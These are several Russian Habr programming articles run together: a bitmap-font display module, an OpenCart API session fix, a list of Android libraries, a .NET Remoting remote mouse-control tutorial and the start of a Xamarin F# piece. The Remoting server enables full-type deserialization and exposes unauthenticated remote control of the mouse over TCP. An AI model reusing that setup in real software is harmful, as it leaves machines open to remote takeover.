Current_byte_next = Current_byte + ( (Current_shift + Width) >> 3 ) - First_byte_gen;
Right_mask = sb_Right_mask[ Current_shift_next ];
Symbol_t2a();
goto Finalize;
}
Line_width -= Width;
Current_shift = x_block & 0x7;
First_byte_gen = Left_shift >> 3;
int Corrected_Left_shift = Left_shift & 0x7;
Left_mask = sb_Left_mask[Current_shift];
// Вместо Result_shift используется переменная Current_shift
if(Corrected_Left_shift <= Current_shift ) // Result_shift > 0
{
Current_shift -= Corrected_Left_shift;
First_byte_reg = 1;
bytes_For_load = (Width + 7) >> 3 - First_byte_gen;
bytes_For_shift = (Width + Current_shift + 7) >> 3 - First_byte_gen;
bytes_For_out = bytes_For_shift;
// Поскольку часть символа оказалась за пределами экрана, нужна коррекция, чтобы правильно учитывать при уменьшении Line_width
Width -= Left_shift;
}
else
{
Current_shift = Current_shift - Corrected_Left_shift + 8;
First_byte_reg = 0;
bytes_For_load = (Width + 7) >> 3 - First_byte_gen;
bytes_For_shift = (Width + Current_shift + 7) >> 3 - First_byte_gen;
bytes_For_out = bytes_For_shift - 1;
}
Current_shift_next = (Current_shift + Width) & 0x7;
Current_byte_next = Current_byte + ( (Current_shift + Width) >> 3 ) - First_byte_gen;
//////////////////////////////////
//ОА
//////////////////////////////////
Symbol_t2();
// Любой следующий символ
Text++;
////////////////////////////////////////
Type_3:
// Конец строки?
while(Text < Text_end)
{
Width = Current_font->Width_for(*Text);
// Достигли границы?
if(Line_width <= Width)
{
Width = Line_width;
Line_width = 0;
bytes_For_load = (Width + 7) >> 3;
bytes_For_shift = (Width + Current_shift + 7) >> 3;
bytes_For_out = bytes_For_shift;
Current_shift_next = (Current_shift + Width) & 0x7;
Current_byte_next = Current_byte + ( (Current_shift + Width) >> 3 );
Right_mask = sb_Right_mask[ Current_shift_next ];
Symbol_t3a();
goto Finalize;
}
Line_width -= Width;
//////////////////////////////////
//ОА
//////////////////////////////////
Symbol_t3();
bytes_For_load = (Width + 7) >> 3;
bytes_For_shift = (Width + Current_shift + 7) >> 3;
bytes_For_out = bytes_For_shift;
Current_shift_next = (Current_shift + Width) & 0x7;
Current_byte_next = Current_byte + ( (Current_shift + Width) >> 3 );
Text++;
}// while(Text < Text_end)
Finalize:
// Вывод строчного буфера в видеопамять
return;
}// void tDisplay_A1::Out_text_block ()
```
Итерация 3. ОА
--------------
Требования к ОА всех типов вполне определись в итерации 2. Теперь можно сделать функции реализующие эти ОА. Дополнительных комментариев не требуется, поскольку приведённое ранее описание всех типов ОА исчерпывающее.
**Исходник**
```
class tShift_buffer;
// void tShift_buffer::Load (u1x * Source, u1x Destination_index, u1x bytes_Width);
// void tShift_buffer::Shift (u1x First_byte_index , u1x Bytes_amount , u1x Bits);
// void tShift_buffer::Out (u1x Source_index, u1x * Destination, u1x bytes_Width);
// Скидывает данные из буфера в указанное место наложением по или
// void tShift_buffer::Out_by_or (u1x Source_index, u1x * Destination, u1x bytes_Width);
// u1x & tShift_buffer::operator [](u1x Index_of_element);
////////////////////////////////////////////////////////////////////////////
// ОА
void Out_symbol_t2()
{
// ВЕРТИКАЛЬНЫЙ ЦИКЛ
for(int y = 0; y < Height; y++)
{
uchar * Glyph_line = Current_font->Image_for(* Text) + y * bytes_Width;
Shift_buffer.In (Glyph_line, bytes_For_load);
Shift_buffer.Shift (Current_shift, bytes_For_shift);
Shift_buffer. Out_by_or (&String_buffer [y][Current_byte + i], bytes_For_out);
}// for(int y = y0; y < Height; y++)
}// void Out_symbol_t2()
////////////////////////////////////////////////////////////////////////////
// ОА
void Out_symbol_t2a()
{
// ВЕРТИКАЛЬНЫЙ ЦИКЛ
for(int y = 0; y < Height; y++)
{
uchar * Glyph_line = Current_font->Image_for(* Text) + y * bytes_Width;
Shift_buffer.In (Glyph_line, bytes_For_load);
Shift_buffer.Shift (Current_shift, bytes_For_shift);
Shift_buffer.Out (&String_buffer [y][Current_byte + i], bytes_For_out);
}// for(int y = y0; y < Height; y++)
}// void Out_symbol_t2a()
////////////////////////////////////////////////////////////////////////////
// ОА
void Out_symbol_t3()
{
// ВЕРТИКАЛЬНЫЙ ЦИКЛ
for(int y = 0; y < Height; y++)
{
uchar * Glyph_line = Current_font->Image_for(* Text) + y * bytes_Width;
Shift_buffer.In (Glyph_line, bytes_For_load);
Shift_buffer.Shift (Current_shift, bytes_For_shift);
Shift_buffer.Out (&String_buffer [y][Current_byte + i], bytes_For_out);
}// for(int y = y0; y < Height; y++)
}// void Out_symbol_t3()
////////////////////////////////////////////////////////////////////////////
// ОА
void Out_symbol_t3a()
{
// ВЕРТИКАЛЬНЫЙ ЦИКЛ
for(int y = 0; y < Height; y++)
{
uchar * Glyph_line = Current_font->Image_for(* Text) + y * bytes_Width;
Shift_buffer.In (Glyph_line, bytes_For_load);
Shift_buffer.Shift (Current_shift, bytes_For_shift);
Shift_buffer.Out (&String_buffer [y][Current_byte + i], bytes_For_out);
}// for(int y = y0; y < Height; y++)
}// void Out_symbol_t3a()
```
Итерация 3. Отладка
-------------------
Для отладки я использовал простую форму, которая позволяет менять исходные параметры функции Out\_text. В правой части формы выводятся интересующие параметры, наблюдая их легко фиксить баги.
*Рисунок 40. Форма для отладки*
Не буду описывать ход отладки, ограничусь баг-листом.
-вместо ширины экрана **`bytes_X_size`** использовалась ширина символа **`bytes_Width`**.
-новые значения next не становились текущими
-не было очистки сдвигового регистра
-во всех выражениях вида **`(Width + Current_shift + 7) >> 3 - First_byte_gen;`** опечатка с забытой скобкой **`( (Width + Current_shift + 7) >> 3 ) - First_byte_gen;`**
-маскирование правого крайнего байта поправлены индексы.
[Результат налицо](https://bitbucket.org/dashingresearches/display_a1/commits/2ce7d8cf3b227fe68f8b6114af1ef274b7d1c374?at=master)
Отладка не была трудной. Таблицы рис. 25, 27, 34, 36 не подвели. Я акцентирую внимание на таблицах, потому что составление вспомогательных таблиц и прочих иллюстраций это часть предметного взгляда на задачу, это отличное подспорье при программировании, я обязательно буду демонстрировать это в дальнейшем при разборе примеров.
—
Пора подвести итоги первой части. Разработанный модуль вывода текстовых блоков, функционально соответствует ТЗ. Он может выводить текст любой длины шрифтом любого размера в окно любого размера, хоть 1х1, с любым смещением. Как было сказано ранее, эффективность решения связана с тем, насколько эффективно удастся реализовать операции сдвига, а в этом варианте выбрано вероятно самое неэффективное решение из возможных – класс **`tShift_register`**. Он хорош тем, что нагляден и универсален, но это исключительно «лабораторное решение», которое годно лишь для отладки модуля. Следующий этап – переход к реальным ОА. Они будут работать по тому же принципу и с тем же набором параметров как было описано в текущей статье, но в них будет использована иная схема сдвига, которая позволит этим ОА стать по-настоящему эффективными. Поскольку объём этой статьи достиг критической массы, то чтобы ненароком не взорвать мозг тем читателям, которые смогли добраться до финала, следующий этап я опишу в следующей статье. Следующая статья будет посвящена модификациям и усовершенствованиям разработанного в этой статье модуля «Дисплей». Будет продемонстрировано, что автоматно спроектированные программы весьма податливы в этом отношении, и внесением небольших усовершенствований можно добиться потрясающих результатов, и речь идёт не только о повышении эффективности, но и о расширении функционала. | https://habr.com/ru/post/342048/ | null | ru | null |
# У вас нет разрешения на доступ к API. OpenCart
Содержание
* [1. Простой случай](#prostoi)
* [2. Случай клиента](#klient)
* [3.](https://byurrer.ru/u-vas-net-razresheniya-na-dostup-k-api-opencart.html#%D0%92%20%D1%87%D0%B5%D0%BC%20%D0%BF%D1%80%D0%BE%D0%B1%D0%BB%D0%B5%D0%BC%D0%B0?) [В чем проблема?](#problema)
* [4.](https://byurrer.ru/u-vas-net-razresheniya-na-dostup-k-api-opencart.html#%D0%A0%D0%B5%D1%88%D0%B5%D0%BD%D0%B8%D0%B5%20%D0%BF%D1%80%D0%BE%D0%B1%D0%BB%D0%B5%D0%BC) [Решение проблем](#reshenie)
* [5. Итог](#itog)
Простой случай
--------------
Как правило **проблема с доступом к API OpenCart** возникает когда не настроен доступ по API.
IP адрес еще не добавлен в список разрешенных для доступа по APIДля решения этой проблемы нужно пройти в админке в `Система-Пользователи-API`, зайти в нужный объект списка и **добавить свой IP адрес в список**.
Добавляем свой IP адрес в список разрешенных для доступа по APIЛибо на странице, с сообщением о проблеме с API просто нажать на кнопку `Добавить IP-адрес` и обновить страницу.
Но у нашего клиента на OpenCart 2.3 было не все так просто ...
Случай клиента
--------------
Перед началом разработки модуля клиент сообщил мне, что в админке на странице редактирования заказа у него часто/рандомно не работает изменение заказа: **У вас нет разрешения на доступ к API!**
А как позже выяснилось, такая проблема у клиента на 2 сайтах, где используется одна и та же версия OpenCart 2.3, сайты размещены у одного и того же хостера.
Сообщение которое часто вылезало на странице редактирования заказаИзначально я не придал этому значения, так как проблема у клиента была до меня, а сроки по разработке были крайне сжатые (как обычно), а значит ее решение это второстепенная задача, однако на этапе внедрения модуля в интернет-магазин клиента начались проблемы.
Дело в том, что интерфейс функциональности разработанного мной модуля располагался на странице редактирования заказа, во вкладке `Товары`, а из-за проблем доступа к API клиент не мог проверить работу модуля. Но это была первая часть проблемы. Как выяснилось позже мой модуль не мог корректно функционировать, так как использовал доступ к заказу основываясь на API.
> *Стоит уточнить, что интерфейс редактирования заказа во многом построен на*[*Ajax API OpenCart*](https://byurrer.ru/ajax-v-opencart.html)*, с использованием авторизации и получением токена для доступа к API.*
>
>
Первым делом я перепроверил ajax запросы на корретность работы, как на клиенте так и на сервере. Токен на клиенте есть, проверка токена и авторизация по токену на сервере есть. Все также как и у API запросов, но не работает ...
В чем проблема?
---------------
В другой статье мы уже вкратце разбирали [Ajax API](https://byurrer.ru/ajax-v-opencart.html#Ajax%20API), а теперь копнем глубже.
Посмотрим контроллер `catalog/controller/api/login.php` (запрос получения токена для работы с API `/index.php?route=api/login`), в случае валидного `API key` и наличия в этой группе IP адреса выполняющего (того кто делает запрос), данный запрос **стартует новую сессию** с именем `api` с единственным ключом `api_id`:
```
$session_id_new = $this->session->createId();
$this->session->start('api', $session_id_new);
$this->session->data['api_id'] = $api_info['api_id'];
```
Затем посмотрим `catalog/controller/startup/session.php` (это первичный контроллер, который запускается при любом запросе в `catalog`, до основного контроллера), здесь при наличии токена полученного в предыдущем запросе происходит **старт сессии** с именем `api`:
```
$this->session->start('api', $query->row['session_id']);
```
А теперь пройдем в файл с классом сессии `system/library/session.php` и смотрим метод `start`:
```
public function start($key = 'default', $value = '') {
if ($value) {
$this->session_id = $value;
} elseif (isset($_COOKIE[$key])) {
$this->session_id = $_COOKIE[$key];
} else {
$this->session_id = $this->createId();
}
if (!isset($_SESSION[$this->session_id])) {
$_SESSION[$this->session_id] = array();
}
$this->data = &$_SESSION[$this->session_id];
//...
}
```
На основании предыдущих файлов можно сказать: `session_id` может быть взят из куки `api`, а данные сессии можно получить по `session_id`.
Вспоминаем что API запросы OpenCart проверяют валидность доступа в `catalog` контекст по токену следующим образом:
```
if (!isset($this->session->data['api_id'])) {
$json['error']['warning'] = $this->language->get('error_permission');
} else {
...
}
```
И приходим к понимаю того, что с сессией проблемы, хотя судя по коду должно быть все ровно.
Для того чтобы понять в чем проблема, можно попробовать записывать данные `$_SESSION` в файл в запросе получения токена (после его получения), и при первом API запросе в файле `catalog/controller/startup/session.php` прямо перед или после старта `api` сессии.
В итоге я увидел что:
> *Сессия с*`session_id`*создается на этапе авторизации и в нее записывается один единственный ключ*`api_key`*, но уже при следующем запросе к API, массив данных сессии с этим*`session_id`*пуст, но заполняется при отработке всех контроллеров указанных в массиве*`action_pre_action`*(в файле*`system/config/catalog.php`*) и данные сессии сохраняются.*
>
> *Однако при этом в нем отсутствует ключ*`api_id`*, без которого дальнейшая работа с API невозможна и поэтому мы видим сообщение:****У вас нет разрешения на доступ к API!***
>
>
Решение проблем
---------------
Почему возникает данная проблема мне не удалось выяснить. Развернув точную копию сайта клиента у себя на локальном сервере, воспроизвести проблему не получилось.
После обращения клиента в ТП хостинга, проблема исчезла на некоторое время (в это же время я пытался решить ее самостоятельно, но безуспешно, ибо не воспроизводилось), а потом благополучно, примерно через сутки, проблема вернулась.
Повторный дебаг `$_SESSION` не дал результатов, все также: при запросе авторизации создавалась новая сессия с ключом `api_id`, а при следующем обращении к API эта новая сессия была пуста.
Понимая что данные сессии не могут сохранится в `$_SESSION` при запросе авторизации снова смотрим `catalog/controller/startup/session.php` и видим запрос к БД:
```
$query = $this->db->query("SELECT DISTINCT * FROM `" . DB_PREFIX . "api` `a` LEFT JOIN `" . DB_PREFIX . "api_session` `as` ON (a.api_id = as.api_id) LEFT JOIN " . DB_PREFIX . "api_ip `ai` ON (as.api_id = ai.api_id) WHERE a.status = '1' AND as.token = '" . $this->db->escape($this->request->get['token']) . "' AND ai.ip = '" . $this->db->escape($this->request->server['REMOTE_ADDR']) . "'");
```
Если этот запрос возвращает не пустой массив, значит можно считать что авторизация прошла успешно, а среди выбранных из БД данных есть `api_id`.
В `catalog/controller/startup/session.php` сразу после старта сессии пишем:
```
if ($query->num_rows) {
$this->session->start('api', $query->row['session_id']);
//это может решить проблему с доступом по апи
$this->session->data["api_id"] = $query->row["api_id"];
//...
}
```
И проблема **У вас нет разрешения на доступ к API!** решена!
> *Для решения проблемы****У вас нет разрешения на доступ к API!****в данном случае достаточно после старта сессии в*`catalog/controller/startup/session.php`*вставить в массив сессии ключ*`api_id`*:*`$this->session->data["api_id"] = $query->row["api_id"];`
>
>
Для убедительности я провел тест: получил ошибку **У вас нет разрешения на доступ к API!**, а затем применил описанное выше решение и не перезагружая страницы (где была ошибка) провел несколько ajax запросов к API OpenCart, которые прошли успешно.
### Итог
Клиент доволен, оба сайта работают, проблема решена. Однако, источник проблемы не выявлен, есть несколько предположений, возможно как-нибудь проверю.
[Автор: Виталий Бутурлин](https://byurrer.ru/u-vas-net-razresheniya-na-dostup-k-api-opencart.html) | https://habr.com/ru/post/548324/ | null | ru | null |
# 10 библиотек, о которых должен знать каждый Android-разработчик
В 2015 году мы уже публиковали [статью](https://infinum.co/the-capsized-eight/top-5-android-libraries-every-android-developer-should-know-about) о пяти лучших библиотеках, которые мы использовали в то время. Однако платформа Android значительно выросла с тех пор. Как вы знаете, в такой быстро развивающейся области, как разработка программного обеспечения, всё меняется и развивается с молниеносной скоростью. Именно поэтому мы решили, что пришло время обновить список наиболее эффективных Android-библиотек.
Давайте без долгих предисловий перейдем прямо к нашему списку. Сначала мы рассмотрим одну из самых старых, но, по моему убеждению, и одну из самых эффективных Android-библиотек.
1. [Retrofit](http://square.github.io/retrofit/)
------------------------------------------------
Retrofit — это типобезопасный HTTP-клиент, позволяющий представить ваш REST API в виде интерфейса. Вы сможете управлять телами, заголовками, параметрами API-запросов и многим другим с помощью аннотаций, что сделает этот процесс простым и понятным. Retrofit также позволяет выполнять синхронные и асинхронные вызовы API.
```
interface ApiService {
@GET("movie/{id}")
fun getMovieDetails(@Path("id") id: String) : Call
}
```
Ко всему прочему, Retrofit предоставляет отдельный Rx-модуль. Если вы используете Rx, этот модуль вернёт Observable при обращении к API, что позволит связать его с остальной частью вашего приложения. И это лишь некоторые из множества причин, по которым мы по-прежнему любим и используем Retrofit.
2. [Moshi](https://github.com/square/moshi)
-------------------------------------------
Moshi — это библиотека для конвертации JSON в Java и Kotlin-объекты. Многие воспринимают Moshi как GSON 3.0. Однако эта библиотека превосходит GSON в нескольких аспектах: [она быстрее](https://stackoverflow.com/a/43578738/3920456), она поддерживает Kotlin, она обновляется, генерирует предсказуемые исключения и не использует испорченный адаптер DateTime по умолчанию. Кроме того, используя Moshi, процесс конвертации JSON в Java-объекты (и наоборот) становится максимально простым и понятым.
```
val moshi = Moshi.Builder().build()
val jsonAdapter = moshi.adapter(Model::class.java)
/* JSON to Model */
val model = jsonAdapter.fromJson(json)
/* Model to JSON */
val json = jsonAdapter.toJson(model)
```
Мы также любим Moshi за поддержку JSON API. JSON API — это спецификация построения API, и многие API, с которыми мы работаем, написаны с использованием этой спецификации. [Moshi JSON API](https://github.com/kamikat/moshi-jsonapi) облегчает нашу жизнь, поскольку JSON API ответ преобразуется в значимые Java-объекты. Retrofit ещё поддерживает Moshi, и вместе они просто отлично работают.
3. [Chuck](https://github.com/jgilfelt/chuck)
---------------------------------------------
Chuck — это HTTP-инспектор для Android, позволяющий «покопаться» в HTTP-истории вашего приложения на мобильном телефоне. HTTP-лог отображается в виде уведомления, которое можно развернуть, чтобы зайти в Chuck и посмотреть детальную информацию. Использование Chuck невероятно обрадует специалистов QA-отдела, поскольку они смогут увидеть, где находится проблема: на стороне Android или на стороне сервера. Эта библиотека иногда может помочь вам больше, чем logcat. Это связано с тем, что ваша HTTP-история сохранится даже в случае непредвиденного закрытия приложения, в то время как logcat время от времени самоочищается после перезапуска.
4. [Glide](https://bumptech.github.io/glide/)
---------------------------------------------
Вы скорее всего знаете, что загрузка изображений в Android вызывает большие трудности. Даже изменение размера изображения может обернуться катастрофой с `OutOfMemoryException`. Glide — это библиотека загрузки изображений, которая предоставляет качественный API, позволяющий изменять изображение как вам угодно.
```
GlideApp.with(context)
.load(url)
.centerCrop()
.placeholder(R.drawable.ic_placeholder)
.into(imageView)
```
Библиотека позволит вам легко загрузить удалённое изображение в ImageView, определить стабовые изображения, кэшировать и масштабировать изображения и т.д. Просто попробуйте проделать всё это без помощи Glide, и вы сразу поймёте, почему он находится в нашем списке ключевых библиотек. Glide даже поддерживает некоторые распространённые изменения по умолчанию, например, создание изображения круглой формы.
5. [ThreeTen](https://github.com/JakeWharton/ThreeTenABP)
---------------------------------------------------------
ThreeTen — это библиотека для работы с датой и временем в Android. Это портированная версия JSR-310, который был включен в Java 8 в качестве стандартного пакета `java.time.*`. Мы любим эту библиотеку, потому что стандартный Android Calendar API превращает работу в сущий кошмар.
```
/* Current DateTime */
LocalDateTime.now()
/* String to DateTime */
val localDateTimeString = "2011-12-03T10:15:30"
val localDateTime = LocalDateTime.parse(localDateTimeString)
```
ThreeTen сильно уступает JodaTime с точки зрения количества методов и бинарного размера. API данной библиотеки также меньше, чем API JodaTime. Если вы уже используете JodaTime, то, вероятно, вам не стоит переходить на ThreeTen. Тем не менее, я настоятельно рекомендую попробовать ThreeTen, если вы только начинаете работать над новым проектом.
6. [Timber](https://github.com/JakeWharton/timber)
--------------------------------------------------
Timber — мощная, но простая библиотека логирования, построенная на базе Android-класса `Log`. С её помощью вы сможете легко включать и выключать отображение логов. Также библиотека предлагает отличную поддержку логирования форматированных строк и исключений. Благодаря этим преимуществам Timber и входит в наш список ключевых библиотек, которые мы используем практически на всех Android проектах.
```
/* Log error */
Timber.e("Error happened")
/* Log warning with params */
Timber.w("Your variable value is %s", variable)
/* Log exception */
try {
...
} catch (e: Exception) {
Timber.e(e)
}
```
7. [Room](https://developer.android.com/training/data-storage/room/)
--------------------------------------------------------------------
Room — это официальный ORM для Android, и этот статус оправдывается рядом причин. Эта библиотека отличается удобным API, похожим на Retrofit. Room также в значительной степени опирается на аннотации и стандартный SQL-синтаксис.
```
@Dao
interface MovieDao {
@Query("SELECT details FROM movies WHERE id = :id")
fun getMovieDetails(id: String): MovieDetails
}
```
Кроме того, Room по умолчанию включает в себя поддержку Rx и `LiveData`, поэтому вы сможете использовать его, как вам захочется. Основное преимущество Room перед различными ORM — простота. Многие ORM имеют гораздо более сложный API, для использования которого вам потребуется тщательно изучить всю документацию. Благодаря стандартному SQL-синтаксису Room предельно доступен для понимания, что позволяет приступить к работе сразу, не тратя много времени на чтение документации.
8. [RxJava](https://github.com/ReactiveX/RxJava)
------------------------------------------------
RxJava — это Java-реализация ReactiveX API, которая позволяет связывать асинхронные задачи и события в наблюдаемые (англ. *observable*) последовательности. Пользователи рассчитывают на то, что современные приложения способны отображать данные в режиме реального времени. Другими словами, они хотят, чтобы информация обновлялась автоматически. Именно в этом аспекте вам и пригодится RxJava.
При получении данных в реальном времени становится чрезвычайно сложно объединить несколько запросов API, переключать потоки и обрабатывать ошибки. Именно здесь RxJava отменно проявляет себя, и именно по этой причине мы начали пользоваться этой библиотекой. Я согласен, что RxJava может показаться запутанной и трудной для изучения, но эта библиотека однозначно заслуживает вашего времени. Даже после перехода на Kotlin, мы продолжили использовать RxJava из-за её преимуществ. В сочетании с Kotlin API она становится ещё лучше благодаря дополнительным функциям-расширениям.
```
Single.zip(
/* Execute first API call and retry twice if it fails */
apiService.getMovieActors(id).retry(2),
/* Execute second API call and retry twice if it fails */
apiService.getMovieDetails(id).retry(2),
/* Receive successful results and merge them into single model */
BiFunction, MovieDetails, Movie> { actors, details -> Movie(details, actors) }
)
/\* Execute API calls on IO thread \*/
.subscribeOn(Schedulers.io())
/\* Receive results on MainThread \*/
.observeOn(AndroidSchedulers.mainThread())
.subscribeBy(
onError = { /\* Handle error \*/ },
onSuccess = { /\* Handle full movie data \*/ }
)
```
Попробуйте сделать что-то похожее на приведённый выше фрагмент с помощью простой Java. Ну же.
9. [Android KTX](https://github.com/android/android-ktx)
--------------------------------------------------------
Android KTX — это набор расширений-обёрток для Android API в Kotlin, которые делают его более дружелюбным. Главная цель этой библиотеки — сделать Android API более удобным в использовании. Она содержит множество методов и отличных новых функций Kotlin, таких как именованные параметры, лямбда-функции и параметры по умолчанию.
```
/* Display View */
view.isVisible = true
/* Apply padding to all sides */
view.setPadding(padding)
/* Update padding on any side */
view.updatePadding(left = newPadding, right = newPadding)
/* Quick Toast */
toast("Display test toast")
/* New way to create bundle */
bundleOf {
"key1" to item1
"key2" to item2
}
/* Better way to use SharedPreferences */
sharedPreferences.edit {
putString("key1", "value1")
putString("key2", "value2")
}
```
Android KTX отличается наличием множества функций-расширений, и единственный способ узнать о них — погрузиться в код библиотеки, чтобы увидеть, каким образом функции улучшили Android API. Android KTX упрощает способ использования Android API, и по этой причине эта библиотека должна стать основой каждого Android приложения, написанного на Kotlin.
10. [Dagger](https://google.github.io/dagger/)
----------------------------------------------
Наш список 10 лучших библиотек был бы неполным без Dagger. Эта библиотека представляет собой полностью статичный фреймворк внедрения зависимостей во время компиляции. Dagger, так же как и RxJava, действительно сложен для понимания (мне пришлось потратить некоторое время, чтобы понять их пример CoffeeMaker), но определённо заслуживает потраченного времени и усилий.
Внедрение зависимостей (англ. *dependency injection*) — это способ, позволяющий добавлять небольшие компоненты к другим моделям с минимальными усилиями. Например, если у вас есть модель автомобиля, вы можете добавить к ней шины и с лёгкостью подменить имплементацию шин в будущем — не изменив при этом ни единой строчки кода в моделе автомобиля.
При разработке более сложных приложений вы точно не захотите самостоятельно выполнять задачи по внедрению зависимостей, потому что объём кода быстро увеличивается и становится слишком сложным для поддержки. Dagger избавит вас от этой проблемы, потому что он создает граф внедрения зависимостей во время компиляции посредством обработки аннотаций.
В прошлом году Google добавил отдельный модуль Android Dagger, который позволяет писать меньше шаблонного кода и упрощает внедрение зависимостей.
Заключение
----------
Итак, вот и он: наш список 10 лучших Android-библиотек в 2018 году. Десять отличных библиотек, которые сделают процесс Android-разработки более приятным для каждого, кто решит их использовать. Хотите больше библиотек? Так вышло, что мы в нашей компании разработали несколько собственных Android-библиотек. Можете ознакомиться с ними:
* [MjolnirRecyclerView](https://github.com/infinum/MjolnirRecyclerView) — добавляет в RecyclerView поддержку header, footer, пустых view-компонентов и DiffUtils;
* [Goldfinger](https://github.com/infinum/Android-Goldfinger) — упрощает реализацию аутентификации по отпечаткам пальцев;
* [DBInspector](https://github.com/infinum/android_dbinspector) — просматривает и обеспечивает доступ к базам данных приложения;
* [Complexify](https://github.com/infinum/android-complexify) — простой способ проверить качество пароля пользователя;
* [Prince of Versions](https://github.com/infinum/Android-Prince-of-Versions) — обрабатывает обновления приложения внутри приложения. | https://habr.com/ru/post/425397/ | null | ru | null |
# Удаленное управление мышью с помощью .NET Remoting
Пару лет назад я решил испытать Remoting в сочетании с winapi и сделать удаленное управление мышью. Решение должно состоять из 2 приложений, взаимодействующих через .NET Remoting. Серверное приложение должно быть в виде службы Windows.
Сервер аналогичен RAdmin серверу, слушает порт и ждёт подключения клиента. Когда клиент подключается, сервер принимает информацию о необходимости изменения положения мыши или нажатии кнопки.
Клиент, в свою очередь, подключается к указанному серверу и, в случае изменения положения мыши в окне клиента, передает информацию на сервер.
На данный момент я не пользуюсь Windows, поэтому восстановлю всё по памяти.
Я использовал Remoting, т.к. на тот момент это была новая интересная технология, позволяющая абстрагироваться от уровня сокетов и общаться клиенту и серверу на уровне объектов/интерфейсов. То есть, вместо того чтобы открывать сокет, обмениваться сообщениями мы просто объявляем объект, который хотим расшарить на сервере и используем его методы на клиенте. Если сравнить сокеты с SQL и непосредственным взаимодействием с БД, то .NET Remoting похож на ORM, красивую и удобную обёртку.
#### Клиент
Клиент прост до безобразия. При запуске инициализируем Remoting, при нажатии кнопки подключаемся к серверу или отключаемся от него. Есть окно и форма на нём. Перехватываем движения мыши по ней и нажатие/отпускание клавиши мыши. Клиент знает только интерфейс, с которым он взаимодействует, передает ему в функциях изменения у нашей мышки.
##### Конфигурация Remoting для клиента
```
```
##### Код клиента
*Везде в статье – код на шарпе.*
```
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
RemotingConfiguration.Configure("Client.config");
}
ICommunication iCommunication;
bool connected;
private void button1_Click(object sender, EventArgs e)
{
if (!connected)
{
iCommunication = (ICommunication)Activator.GetObject(typeof(ICommunication), textBox4.Text);
connected = true;
iCommunication.Move(100, 100);
button1.Text = "Отключиться";
}
else
{
button1.Text = "Подключиться";
connected = false;
}
}
private void panel1_MouseMove(object sender, MouseEventArgs e)
{
if (!connected) return;
iCommunication.Move(e.X, e.Y);
}
private void panel1_MouseDown(object sender, MouseEventArgs e)
{
if (!connected) return;
iCommunication.Down();
}
private void panel1_MouseUp(object sender, MouseEventArgs e)
{
if (!connected) return;
iCommunication.Up();
}
}
```
При запуске – загружаем конфигурацию, затем, при клике на кнопку подключаем удаленный объект. При движении и клике вызываем соответствующую функцию этого объекта.
#### Сервер
Сервер чуть похитрее. У него есть объект, реализующий выше упомянутый интерфейс, с помощью .NET Remoting он получает информацию об изменениях у мышки и сразу же посылает winapi SendInput для изменения положения мыши и нажатости ее кнопки (для нескольких кнопок мыши, передачи нажатий клавиш или изображения экрана очень просто изменить данный код – в аргументах передаем на сервер, а в возвращаемом значении передаем клиенту).
##### Конфигурация Remoting для сервера
```
```
Сервер оформлен в виде службы Windows (при создании шаблона выбираем service).
В таком случае функция main выглядит так:
```
static void Main()
{
ServiceBase[] ServicesToRun;
ServicesToRun = new ServiceBase[] { new Service1() };
ServiceBase.Run(ServicesToRun);
}
```
Службы это такие же приложения, но они запускаются отдельно, имеют некоторые привилегии и специальные функции для старта/остановки. Такой особый жизненный цикл. Так как эта служба должна запускаться от имени нашего пользователя (чтобы двигать курсор) – меняем пользователя на текущего вручную в панели управления службами.
В нашем случае при запуске службы должна производиться инициализация.
##### Код сервера
```
public partial class Service1 : ServiceBase
{
public Service1()
{
InitializeComponent();
}
Communication communication;
protected override void OnStart(string[] args)
{
System.Runtime.Remoting.RemotingConfiguration.Configure(Application.StartupPath+"\\Server.config");
System.Runtime.Remoting.Channels.ChannelServices.UnregisterChannel(channel);
BinaryServerFormatterSinkProvider serverProv = new BinaryServerFormatterSinkProvider();
serverProv.TypeFilterLevel = System.Runtime.Serialization.Formatters.TypeFilterLevel.Full;
BinaryClientFormatterSinkProvider clientProv = new BinaryClientFormatterSinkProvider();
System.Collections.IDictionary props =
new System.Collections.Hashtable();
props["port"] = 8625;
channel = new TcpChannel(props, clientProv, serverProv);
System.Runtime.Remoting.Channels.ChannelServices.RegisterChannel(channel);
communication = new Communication();
ObjRef or = RemotingServices.Marshal(communication, "Communication.rem");
communication.Move(100, 100);
}
TcpChannel channel;
protected override void OnStop()
{
}
}
```
Здесь мы видим функцию запуска службы, в которой инициализируется Remoting. Объяснять особо нечего, загружаем конфиг, регистрируем канал, регистрируем объект. Можно использовать HTTP вместо TCP.
Функции управления курсором я взял готовые. Кажется, [здесь](http://social.msdn.microsoft.com/forums/en-US/windowscompatibility/thread/627b1c8c-0b75-4f73-9e29-3e17e93d539a/).
И завернул их в Communication:
```
class Communication : MarshalByRefObject, ICommunication
{
//здесь много кода для движения мышки – вызова winapi user32.dll, кому интересно – есть в исходниках и по ссылке выше
}
```
Всё, на сервере больше ничего не нужно, т.к. этот объект будет управляться через .NET Remoting
##### Установка/удаление службы
Есть вариант сделать специальный установщик для этой службы, но на мой взгляд проще создать 2 ярлыка с подобным содержимым:
**Для установки:**
`C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe "G:\current\location\our_service.exe"`
**Для удаления:**
`C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe "G:\current\location\our_service.exe" /u`
---
Данное приложение было протестировано на компьютерах с Windows XP SP2. На более старших версиях Windows (Vista, 7), по-моему, есть какие-то глюки из-за безопасности, но это решаемо.
Здесь не описан механизм обратной связи сервера с клиентом. Да, можно сделать 2 соединения – прямое и обратное или периодически опрашивать сервер, но это не очень элегантно. Если вам это будет интересно, то элегантное решение я покажу в следующей статье на данную тему. Там будем управлять точкой в трёхмерном пространстве таким образом, чтобы расчеты велись на сервере, а отображение велось на клиенте. А затем клиентскую часть перенесем на Silverlight (уже без Remoting, т.к. ограничения сильвера не дают его использовать) и отобразим в браузере.
Исходники можно скачать [здесь](http://flines.ru/different/oslik.zip). | https://habr.com/ru/post/124491/ | null | ru | null |
# Разработка приложения на Android с помощью Xamarin и F#
Привет!
Недавно Xamarin объявил [конкурс на разработку](http://blog.xamarin.com/contest-build-your-first-f-mobile-app/) мобильного приложения на функциональном языке программирования F#.
Это было связано с выходом Xamarin 3 с полной поддержкой F#. Я решил отвлечься от повседневных задач и попробовать поучаствовать, тем более что я давно смотрю на F#, но шансов познакомиться с ним подробнее у меня не было. Для участия в соревновании я решил разработать приложение идея которого была предложена кем-то в процессе обсуждения внезапного взлета мобильного приложения Yo. Вот цитата:
